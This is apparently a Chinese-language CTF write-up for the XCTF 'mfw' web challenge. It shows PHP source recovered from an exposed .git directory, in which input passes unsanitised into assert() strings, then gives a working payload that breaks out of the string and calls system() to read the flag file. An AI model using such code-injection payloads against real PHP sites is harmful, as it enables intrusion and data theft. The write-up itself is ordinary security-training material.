XCTF-web-mfw

发现了git

使用GitHack下载一下源文件，找到了php源代码

<?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");?>

解析

<?php
// 获取GET参数中的page值，如果不存在则默认为"home"
if (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}// 拼接文件路径，将page值作为文件名
$file = "templates/" . $page . ".php";// 安全检查：确保路径中不包含".."（目录遍历攻击防护）
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// 安全检查：确保文件存在
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

解题：

?page=').system(“cat templates/flag.php”);//

’)进行闭合
system(“cat templates/flag.php”)表示在系统中执行cat templates/flag.php命令，该命令用于查看templates目录下的flag.php文件内容

在源码中可以看到flag